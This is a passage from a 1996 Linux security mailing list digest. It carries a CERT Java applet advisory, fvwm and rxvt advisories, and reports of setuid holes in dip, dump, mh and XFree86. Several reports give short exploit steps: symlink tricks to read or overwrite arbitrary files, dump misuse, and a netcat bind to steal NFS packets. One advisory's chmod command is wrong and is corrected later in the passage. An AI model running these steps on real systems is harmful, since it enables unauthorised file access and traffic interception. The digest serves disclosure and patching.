those presumed to be previously inaccessible, such as hosts behind a
firewall. Bugs in any TCP/IP-based network service can then be exploited.
In addition, services previously thought to be secure by virtue of their
location behind a firewall can be attacked.
III. Solution
To fix this problem, the Applet Security Manager must be more strict
in deciding which hosts an applet is allowed to connect to. The Java
system needs to take note of the actual IP address that the applet truly
came from (getting that numerical address from the applet's packets as
the applet is being loaded), and thereafter allow the applet to connect
only to that same numerical address.
We urge you to obtain vendor patches as they become available.
Until you can install the patches that implement the more strict
applet connection restrictions, you should apply the workarounds
described in each section below.
A. Netscape users
For Netscape Navigator 2.0, use the following URL to learn more about
the problem and how to download and install a patch:
http://home.netscape.com/newsref/std/java_security.html
Until you install the patch, disable Java using the "Security
Preferences" dialog box.
B. Sun users
A patch for Sun's HotJava will be available soon.
Until you can install the patch, disable applet downloading by
selecting "Options" then "Security...". In the "Enter desired security
mode" menu, select the "No access" option.
In addition, select the "Apply security mode to applet loading" to
disable applet loading entirely, regardless of the source of the
applet.
C. Both Netscape and Sun users
If you operate an HTTP proxy server, you could also disable
applets by refusing to fetch Java ".class" files.
- ---------------------------------------------------------------------------
The CERT Coordination Center thanks Drew Dean, Ed Felton, and Dan Wallach of
Princeton University for providing information for this advisory. We thank
Netscape Communications Corporation, especially Jeff Truehaft, and Sun
Microsystems, Inc., especially Marianne Mueller, for their response to this
problem.
- ---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact the
CERT staff for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
CERT Contact Information
- ------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
CERT publications, information about FIRST representatives, and other
security-related information are available for anonymous FTP from
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided it
is used for noncommercial purposes and the copyright statement is included.
CERT is a service mark of Carnegie Mellon University.
------------------------------
From: Jeff Uphoff
Date: Fri, 8 Mar 1996 03:15:51 -0500
Subject: [linux-alert] NCSA httpd cgi-bin application vulnerability.
If you are running NCSA's httpd WWW server (or, conceivably, someone
else's), have compiled the phf.c application found in the NCSA
distribution's cgi-src directory, and have installed it into an area
designated for cgi-bin applications, please 'chmod a-x' it immediately.
(This applies to *at least* the phf.c application as provided with NCSA
httpd versions 1.3 and 1.5a-export; I've not inspected the other
distributions yet.)
Many sites (I've looked around a bit and have had a hit rate of roughly
50% so far, but maybe I'm just "lucky")--including the top-level WWW
servers for some large and/or very high-profile domains--appear to have
"blindly" installed all of the cgi-src applications provided with NCSA's
httpd. The most notable aspect of this particular cgi-bin
vulnerability, at least to me, is not so much the vulnerability itself
(it's been seen before) but rather its quite widespread nature.
This vulnerability allows a remote client to retrieve any world-readable
file from the server system, as well as execute commands and create
files on the server with the privileges of the euid of the httpd server
process.
Depending on the server's (mis)configuration, this could conceivably be
used as an avenue through which to replace the httpd server binary
itself with a trojan--quite possibly to be run as root during the
system's next boot cycle. It can also be used, largely independent of
the server system's configuration--and rather easily--to gain remote
interactive access to the server with the userid that the httpd server
runs under. (I'm sure there are lots of other "nifty" possibilities,
but I first found out about this a just few waking hours ago and have so
far performed only the most basic proof-of-concept exploits.)
More details (full disclosure, etc.) to follow on the linux-security
list and on Bugtraq....
- --Up.
P.S. I'll bet everyone just can't wait for Java!
- --
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | [email protected]
PGP key available at: http://www.cv.nrao.edu/~juphoff/
------------------------------
End of linux-alert-digest V2 #5
*******************************
linux-alert-digest/v02.n006100664 1767 1767 3633 6126721421 14664 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V2 #6
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Friday, 29 March 1996 Volume 02 : Number 006
[linux-alert] Problem with sliplogin on Linux
----------------------------------------------------------------------
From: Olaf Kirch
Date: Wed, 20 Mar 1996 19:58:05 +0100
Subject: [linux-alert] Problem with sliplogin on Linux
- -----BEGIN PGP SIGNED MESSAGE-----
Hi all,
When installed to provide users with SLIP accounts on your system,
sliplogin can be abused to execute commands under the root uid.
This hole does *not* seem to be expoitable when you don't have any SLIP
users configured in your /etc/passwd.
I'm not going to give away the details of the exploit yet; watch for a
follow-up posting to linux-security within a week or two.
Anyone providing SLIP logins using this program should upgrade to the
latest version from sunsite.unc.edu:
ftp://sunsite.unc.edu/pub/linux/system/Network/serial/sliplogin-2.0.2.tar.gz
md5sum: 1634ab3f8d0ce130e59476ede9662ee5 sliplogin-2.0.2.tar.gz
Cheers
Olaf
PS: you may have to adapt your login/logout scripts because the
argument list has been changed throughout several releases.
- - --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
iQCVAwUBMVBVMeFnVHXv40etAQEnpQQAgdiPpmGgrGVDx0zuGSjObCEcn6+EMMSu
liVU/Ct4XCZegSHD3nmE0naspSSqAenjjisVrySr2UJFZBbYIoHKc9/z5ATikeyE
nmk+bWQ4H57iCninlBhgk+BRgqd8++GlNjPnLgjSrvNWDc75ESzxhXAYJ1nyMRdM
UHunzxZ80SA=
=YYZI
- -----END PGP SIGNATURE-----
------------------------------
End of linux-alert-digest V2 #6
*******************************
linux-alert-digest/v02.n001100664 1767 1767 25462 6100125620 14672 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V2 #1
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Saturday, 20 January 1996 Volume 02 : Number 001
CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability
LSF Update#10: Another correction.
----------------------------------------------------------------------
From: "Alexander O. Yuriev"
Date: Fri, 12 Jan 1996 01:10:19 -0500 (EST)
Subject: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability
- -----BEGIN PGP SIGNED MESSAGE-----
[ LINUX SECURITY FAQ UPDATES ADMIN INFORMARION ]
1. The Linux Security FAQ Update #10 released on Jan 11, 1996 is
hereby REVOKED. Please disregard information in the Linux
Security FAQ Update#10 released on Jan 11, 1996
2. The Linux Security FAQ Update #10 released on Jan 12, 1996 is
hereby made an OFFICIAL Linux Security FAQ Update#10 regarding
the fvwm vulnerability.
This is corrected LSF Update#10. In the version of LSF Update#10 dated
January 11, 1996, and signed with a key "1024/ADF3EE95 1995/06/08 Linux
Security FAQ Primary Key " an error was made in the
"Other Distributions" section. Unfortunatly, no one noticed that error prior
to the Update being released.
-- Alexander O. Yuriev ([email protected])
- - -----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
Vulnerability of FVWM
January 12, 1996 00:46:37 EST
Copyright (C) 1995-96 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
ABSTRACT
A vulnerability exists in the FVWM version 1.24 and versions prior
to that. This vulnerability allows intruders to execute programs
as users other than themselves. Under certain circumstances if root
uses fvwm, a compromise of a root account is possible. This Linux
Security FAQ Update provides information about ways to fix this
hole.
RISK ASSESSMENT
In certain situations local users can execute commands under
different UID. Root compromise is possible only if root account
is used to run fvwm, which is not advisable.
SOLUTION TO THE PROBLEM
The successful attack against fvwm exploits a race condition that
occurs when fvwm performs certain operations. The following
information should allow one to prevent the race condition from
occurring.
1. /tmp directory should be owned by (root:root) with
world-write, world-execute and world-read permissions.
A sticky bit is *required* on this directory.
Use the following set of commands to change your /tmp
directory parameters to conform with the requirements:
chown root.root /tmp (make ownership (root:root))
chmod 777 /tmp (make protection mode 777)
chmod +s /tmp (place a sticky bit on)
2. Install appropriate distribution-specific fix
Red Hat Commercial Linux 2.0 and 2.1
Marc Ewing ([email protected]) provided the following information
about the official Red Hat RPM that fixes the hole. The
RPM for Intel architecture can be obtained from one of the
following URLs:
ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/fvwm-1.24r-5.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.i386.rpm
Users of RedHat/AXP should install fvwm for AXP
architecture. It is available from one of the following
URLs:
ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/fvwm-1.24r-5.axp.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.axp.rpm
Please verify the MD5 hash of the file prior to installing it.
af4bb44d5f3a390f04c5b0467b00e2a6 fvwm-1.24r-5.i386.rpm
88ae8be7f633192ccbd2f0cb407b7ecc fvwm-1.24r-5.axp.rpm
Caldera Network Desktop
Preview II users should follow the instructions for Red Hat
Commercial Linux 2.0 and 2.1 to install updated RPM
Debian/GNU Linux
Ian Murdock ([email protected]) provided the following
information about the official fvwm replacement for the
Debian/GNU Linux. The replacement can be obtained from
one of the following URLs:
ftp://ftp.debian.org/debian/debian-0.93/binary/x11/fvwm-1.24r-10.deb
ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/fvwm-1.24r-10.deb
Please verify the MD5 hash of the file prior to installing it.
05958bb6eff51df2b933c268544c6541 fvwm-1.24r-10.deb
Slackware
All Slackware Linux distributions, including Slackware 3.0
use vulnerable fvwm. The maintainer of Slackware 3.0, Patrick
J. Volkerding, did acknowledge the problem and but did not
have Slackware specific patch on Jan 11, 1996.
It is recommended that until the Slackware 3.0 package
that fixes this fvwm hole becomes available, users of
Slackware should follow instructions in the "Other
Distributions" section.
Yggdrasil
All distributions of Yggdrasil Plus & Play Linux are
believed to be vulnerable. Yggdrasil Inc, neither acknowledged
the problem nor provided any information from which it could
be concluded that their distributions are not vulnerable.
It is recommended that even if Yggdrasil Inc, does not
acknowledge the existence of this problem, users of Yggdrasil
distributions should follow the instructions in the "Other
Distributions" section.
Other Distributions
If there is no distribution specific package that fixes the
fvwm security hole available at this time, it is
recommended that either use of the fvwm should be
discontinued, or a fixed version of fvwm used to create
Debian/GNU Linux package should be installed.
The source code of it is available from one of the following
URLs:
ftp://ftp.debian.org/debian/debian-0.93/source/x11/fvwm-1.24r-10.tar.gz
ftp://bach.cis.temple.edu/pub/Linux/Security/fvwm-1.24r-10.tar.gz
Please verify the MD5 hash of the file prior to using it.
4bf102e2451ab7ae4fbc42712b3b79c2 fvwm-1.24r-10.tar.gz
CREDITS
This LSF Update is based on the information provided by
Winfried Truemper ([email protected]),
Marc Ewing ([email protected]),
Olaf Kirch ([email protected]),
Ian Murdock ([email protected]),
Austin Donnelly ([email protected]) and
Patrick J. Volkerding ([email protected])
- - -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMPX2PoxFUz2t8+6VAQHAvAQAh8OD8BRdwEB+44JxGhYvM95rPXLXfPMr
je0AnkIuW/pHC/k0nZ80vI8/ZvYMfSBbElrijDyM0tL63G2Jkhl3UbQA0fuzmiKc
C3445l5Z82+FYYI7ZdD9mw/aSs5QE82P0VT+XD83eN9laLoG2XwX39Yg1HrOrS7f
RICO+g9Lwgk=
=b41E
- - -----END PGP SIGNATURE-----
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMPX6Np0afeTWLUSJAQEMQwP/Rts1JcREak/OyQSwWCOit1tVNuwyeBIf
gSjmEKoAoWAl0NmkfKHjhKV9Xn06HvjoA18P+P2o82hRbZMIVyQh8LmOtrMv3Aj2
eFCUz5W+fEbgwCjdSHV5St6G2itjZTgc1oQbAmE5vh6RoKjRw85HJDmv834PgMjO
b8/VCDc4qbA=
=sheq
- -----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
------------------------------
From: "Alexander O. Yuriev"
Date: Sat, 13 Jan 1996 17:25:05 -0500 (EST)
Subject: LSF Update#10: Another correction.
- -----BEGIN PGP SIGNED MESSAGE-----
[LINUX SECURITY FAQ UPDATES ADMIN NOTE]
Another error was noticed in a Linux Security FAQ Update#10
regarding the vulnerability of fvwm 1.24.
The LSF Update#10 reads:
***** BEGIN LSF UPDATE QUOTE *****
SOLUTION TO THE PROBLEM
The successful attack against fvwm exploits a race condition that
occurs when fvwm performs certain operations. The following
information should allow one to prevent the race condition from
occurring.
1. /tmp directory should be owned by (root:root) with
world-write, world-execute and world-read permissions.
A sticky bit is *required* on this directory.
Use the following set of commands to change your /tmp
directory parameters to conform with the requirements:
chown root.root /tmp (make ownership (root:root))
chmod 777 /tmp (make protection mode 777)
chmod +s /tmp (place a sticky bit on)
***** END LSF UPDATE QUOTE ******
The line "chmod +s /tmp (place a sticky bit on)" has to be
read as "chmod +t /tmp (place a sticky bit on)". Please make the
necessary changes in the protection mode of the /tmp directory
--- Alexander O. Yuriev
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMPgsCYxFUz2t8+6VAQGBfQP+LAzTvTpuMcIa2TFdThFX+Z8zBFBtp2Bu
zqrLAHvLDUe8McFP8V9gRDIpc/rgFoNBjyVwrZ31ruK0RuqJ3363lq8iHebaVmni
4jacgKj4BBWVdN40RRQaK3qJ52lH7tebZvjw0wLAF6sYoXt3DHIsB+GM+B5T+aQz
n0W24Bmof4s=
=rsNv
- -----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
------------------------------
End of linux-alert-digest V2 #1
*******************************
linux-alert-digest/v02.n002100664 1767 1767 20505 6103355221 14671 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V2 #2
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Tuesday, 30 January 1996 Volume 02 : Number 002
Linux: dip security hole
dump RedHat security hole
Re: Linux: dip security hole
Red Hat mh inc/msgchk security hole
XFree86 3.1.2 Security Problems
----------------------------------------------------------------------
From: Dan Walters
Date: Sun, 21 Jan 1996 14:34:22 -0600 (CST)
Subject: Linux: dip security hole
[mod: I've removed the exploit code from this posting so that users can't
exploit the hole too easily. The full posting has been approved to
linux-security (and bugtraq, for that matter). An LSF update is
being prepared. --okir]
PROGRAM: dip 3.3.7n, and probably other variants
AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified,
others unknown.
IMPACT: Local users can get superuser privleges.
SYNOPSIS: Some Linux distributions come with dip setuid
root by default. There are multiple points in
dip where an unbounded buffer is used with user
supplied data making possible a stack overflow.
Functions in which this appears to be possible
include do_chatkey() and mdm_dial().
WORKAROUND: It is suggested that at least until the source
has been further scrutinized that dip not be
setuid unless necessary.
chmod 0755 dip
If you must have dip setuid, place it in a group
where it can only be executed by trusted users.
SAMPLE EXPLOIT:
[removed]
- --------------------------------------------------------------------
Dan Walters
[email protected]
------------------------------
From: [email protected]
Date: Mon, 22 Jan 1996 20:45:37 -0500 (EST)
Subject: dump RedHat security hole
[mod: Marc Ewing has already made available an RPM for this; the URL is
ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm
--okir]
There is a security hole in RedHat 2.1, which installs /sbin/dump suid
root. The dump program makes no provisions for checking file permissions,
allowing any user on the system to read arbitrary files on the system.
Dump checks permissions only on the directory you specify to backup, and
not on files or subdirectories.
The process to exploit this is to backup the files via dump as if it was
a normal backup to a temporary file, and then restore the temporary file
with /sbin/restore to your own directory. The solution is simple, don't
run dump suid root on your system.
Program: /sbin/dump incorrectly installed
Affected Operating Systems: RedHat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /sbin/dump
Security Compromise: read arbitrary files on system
Author: Dave M. ([email protected])
Synopsis: dump fails to check file permissions against
user running dump, or to give up suid when
backing up a filesystem.
Exploit:
$ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
------------------------------
From: Marc Ewing
Date: Tue, 23 Jan 1996 11:01:03 -0500
Subject: Re: Linux: dip security hole
A security hole exists in all shipped releases of the "dip" package
for Red Hat Linux (for Intel architectures -- there is no dip for
Red Hat/AXP yet). Users should immediately upgrade:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/updates/RPMS/dip-3.3.7n-3.i386.rpm
MD5 sum:
3c94852a8fb636aa9b5407cae155e2ae dip-3.3.7n-3.i386.rpm
- -Marc
------------------------------
From: David J Meltzer
Date: Wed, 24 Jan 1996 22:12:07 -0500 (EST)
Subject: Red Hat mh inc/msgchk security hole
[mod: This is not a terribly dangerous hole, but I'm approving this to
linux-alert nevertheless. Making tools such as mail readers
setuid root is a bad idea, anyway (IMHO).
Marc Ewing has made an updated RPM available at ftp.redhat.com
as /pub/redhat-2.1/i386/updates/RPMS/mh-6.8.3-4.i386.rpm
Its MD5 sum is 32d61477bc9facfbad7315598d5dee91.
--okir]
There is a security hole in Red Hat 2.1, which installs /usr/bin/mh/inc
and /usr/bin/mh/msgchk suid root. These programs are configured suid root
in order to bind to a privileged port for rpop authentication. However,
there is a non-security conflict between mh and the default Red Hat 2.1
configuration in that the /etc/services lists pop-2 and pop-3 services, but
the mh utilities do lookups for a pop service, which doesn't exist, resulting
in an inability to use any of the pop functionality. This may be a fortunate
bug, since there may be more serious security holes within the pop functions
of these two program.
The security hole present in these two programs is that when opening
up the configuration files in the user's home directory, root privileges
are maintained, and symbolic links are followed. This allows an arbitrary
file to to be opened. Fortunately, the program does not simply dump the
contents of this file anywhere, and only certain formatting is allowed in
the file to be processed by the program in order to see any output. In
the cases where it will be processed, only the first line of the file will
actually be output to the user.
Program: /usr/bin/mh/inc, /usr/bin/mh/msgchk
Affected Operating Systems: RedHat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/bin/mh/inc /usr/bin/mh/msgchk
Security Compromise: read 1st line of some arbitrary files
Author: Dave M. ([email protected])
Synopsis: inc & msgchk fail to check file permissions
before opening user configuration files
in the user's home directory, allowing a user
on the system to read the first line of any
file on the system with some limitations.
Exploit:
$ ln -s FILE_TO_READ ~/.mh_profile
$ /usr/bin/mh/msgchk
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
------------------------------
From: David J Meltzer
Date: Mon, 29 Jan 1996 00:16:46 -0500 (EST)
Subject: XFree86 3.1.2 Security Problems
There are security holes in XFree86 3.1.2, which installs its servers
as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files,
it does not take proper precautions to ensure that file permissions are
maintained, resulting in the ability to overwrite files, and to read
limited portions of other files.
The [primary] problem stems from the server opening a temporary file,
/tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this
file a symlink, the server will overwrite the original file, and then
write to it its current pid.
Program: XFree86 3.1.2 servers
Affected Operating Systems: All systems with XFree86 3.1.2 installed
Requirements: account on system
Temporary Patch: chmod o-x /usr/X11R6/bin/XF86*
Security Compromise: overwrite arbitrary files
Author: Dave M. ([email protected])
Synopsis: While running suid root, XFree86 servers do
not properly check file permissions, allowing
a user to overwrite arbitrary files on a
system.
Exploit:
$ ls -l /var/adm/wtmp
- -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp
$ ln -s /var/adm/wtmp /tmp/.tX0-lock
$ startx
(At this point exit X if it started, or else ignore any error messages)
$ ls -l /var/adm/wtmp
- -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
------------------------------
End of linux-alert-digest V2 #2
*******************************
linux-alert-digest/v02.n003100664 1767 1767 40117 6106334021 14671 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V2 #3
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Thursday, 8 February 1996 Volume 02 : Number 003
bind() Security Problems
LSF Update#11: Vulnerability of rxvt
Problem with minicom 1.71
abuse Red Hat 2.1 security hole
resizecons Red Hat 2.1 security hole
----------------------------------------------------------------------
From: "Aleph's K-Rad GECOS Field"
Date: Tue, 30 Jan 1996 15:18:21 -0800 (PST)
Subject: bind() Security Problems
System Call: bind()
Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix
Probably others.
Requirement: account on system.
Security Compromise: Stealing packets from
nfsd, yppasswd, ircd, etc.
Credits: *Hobbit*
bitblt
Aleph One
Synopsis: bind() does not properly check
to make sure there is not a socket
already bound to INADDR_ANY on the same
port when binding to a specific address.
On most systems, a combination of setting the SO_REUSEADDR
socket option, and a call to bind() allows any process to bind to
a port to which a previous process has bound width INADDR_ANY. This
allows a user to bind to the specific address of a server bound to
INADDR_ANY on an unprivileged port, and steal its udp packets/tcp
connection.
Exploit:
Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz
Make sure an nfs server is running:
w00p% netstat -a | grep 2049
udp 0 0 *.2049 *.* LISTEN
Run netcat:
w00p% nc -v -v -u -s 192.88.209.5 -p 2049
listening on [192.88.209.5] 2049 ...
Wait for packets to arrive.
Fix:
Linux: A patch was been sent to Linus and Alan Cox. It should be
included with 1.3.60. My original patch (included bellow) allows for
binds from the same uid, as some virtual hosting software like modified
httpds, and ftpds, may break otherwise.
Alan didnt like this, so all bind to the same port will
not be allowed in newer kernels. You should be able to easily adapt
this patch or Alan's patch to 1.2.13 without much trouble.
Others: Pray to your vendors.
- --- begin patch ---
diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c
- --- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995
+++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996
@@ -46,6 +46,8 @@
* Germano Caronni : Assorted small races.
* Alan Cox : sendmsg/recvmsg basic support.
* Alan Cox : Only sendmsg/recvmsg now supported.
+ * Aleph One : Rogue processes could steal packets
+ * from processes bound to INADDR_ANY.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -899,6 +901,12 @@
if (sk2->num != snum)
continue; /* more than one */
+ if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) &&
+ current->euid != sk2->socket->inode->i_uid)
+ {
+ sti();
+ return(-EADDRINUSE);
+ }
if (sk2->rcv_saddr != sk->rcv_saddr)
continue; /* socket per slot ! -FB */
if (!sk2->reuse || sk2->state==TCP_LISTEN)
Aleph One / [email protected]
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
------------------------------
From: "Alexander O. Yuriev"
Date: Tue, 30 Jan 1996 01:50:06 -0500 (EST)
Subject: LSF Update#11: Vulnerability of rxvt
- -----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
rxvt vulnerability
Wed Jan 24 13:25:44 EST 1996
Copyright (C) 1995, 1996 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
ABSTRACT
The rxvt program used to emulate VT100 terminal in the X11
environment can be exploited to gain unauthorized root access.
This Linux Security FAQ Update provides information that can be
used to deal with this problem.
RISK ASSESSMENT
The information released to full-disclosure mailing lists allows
any local user to obtain an unauthorized root access if rxvt is
installed as a suid-to-root program.
SOLUTION TO THE PROBLEM
Immediately remove a suid bit from the rxvt binary using command:
chmod 111 /usr/X11R6/bin/rxvt
This assumes that you have rxvt installed as /usr/X11R6/bin/rxvt.
If that is not the case, locate the binary and substitute
/usr/X11R6/bin/rxvt with its name. You can use one of the following
commands to locate rxvt:
locate rxvt | grep -v rxvt.1x
or
find / -type f -name rxvt -print
DISTRIBUTION FIXES
After you install the distribution-specific fixed version of rxvt,
you should make the rxvt binary suid-to-root.
Red Hat Linux 2.1 & 2.0, Caldera Network Desktop
The Red Hat Commercial Linux 2.0 and 2.1 distributions and
Caldera Network Desktop are vulnerable to an attack against
rxvt. Marc Ewing ([email protected]) provided the RPM package
that fixes the security problem with rxvt. The package can be
obtained from one of the following URLs:
ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/rxvt-2.10-3.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.1/rxvt-2.10-3.i386.rpm
ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat2.0/rxvt-2.10-3.i386.rpm
Please verify the MD5 hash of the file prior to installing
the package:
b50028ae040c7778d3a0fe98316f5615 rxvt-2.10-3.i386.rpm
Debian/GNU Linux
The Debian/GNU Linux distribution includes a vulnerable
version of rxvt. Ian Murdock ([email protected]) provided
information about the official replacement package for the
Debian/GNU Linux that fixes this rxvt problem. The fixed
package can be obtained from one of the following URLs:
ftp://ftp.debian.org/debian/debian-0.93/binary/x11/rxvt-2.10-2.deb
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb
ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb
Please verify the MD5 hash of the file prior to installing
the package.
f6a704ede216a3e67e8517a5d179a6f2 rxvt-2.10-2.deb
Slackware 3.0
Slackware 3.0 is vulnerable to an attack against rxvt. There
is no Slackware-specific fixed version of rxvt package
available at this time.
Until such fixed version of rxvt becomes available, users
of Slackware 3.0 are advised to follow the procedure in the
"Other Linux Distributions" section of this Update.
Yggdrasil Plug & Play Fall'95
Yggdrasil Plug and Play Fall'95 Linux distribution does not
include rxvt and therefore is not vulnerable as long as you
did not install your own version of rxvt.
Other Linux Distributions
If your Linux distribution is not listed above or there is
no fixed version of rxvt available for your distribution or
you installed rxvt yourself, it is recommended that you
obtain the source code of rxvt used as a base for
Debian/GNU Linux package.
The source code can be obtained from one of the following
URLs:
ftp://ftp.debian.org/debian/debian-0.93/source/x11/rxvt-2.10-2.tar.gz
ftp://bach.cis.temple.edu/pub/Linux/Security/rxvt-2.10-2.tar.gz
ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/OTHER/rxvt-2.10-2.tar.gz
Please verify the MD5 hash of the file prior to installing
it.
f3e08f8f97da3c4f245c8de970e05c9d rxvt-2.10-2.tar.gz
CREDITS
Marc Ewing ([email protected])
Ian Murdock ([email protected])
Adam J. Richter ([email protected])
Olaf Kirch ([email protected])
Allen Wheelwright ([email protected])
Jeff Uphoff ([email protected])
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMQ2+koxFUz2t8+6VAQGuWgQAgjshASO3Mz8ldHoUnJlSsDdXPwipmdc8
JLHGauq+AZasvWSoZKSpenakwklkzTDPNYm48g7/jlE97B2yANi1JxxYaK+QjZg8
C5imnKxj2LvgDxVy6+aSG1NvBqIWEush7VX2+Ubh1P3K8E2tth6SsdDx3qfY3/wK
gbWzEY7Qu/4=
=dCW2
- -----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
------------------------------
From: Olaf Kirch
Date: Thu, 01 Feb 1996 04:07:01 +0100
Subject: Problem with minicom 1.71
- -----BEGIN PGP SIGNED MESSAGE-----
Hi all,
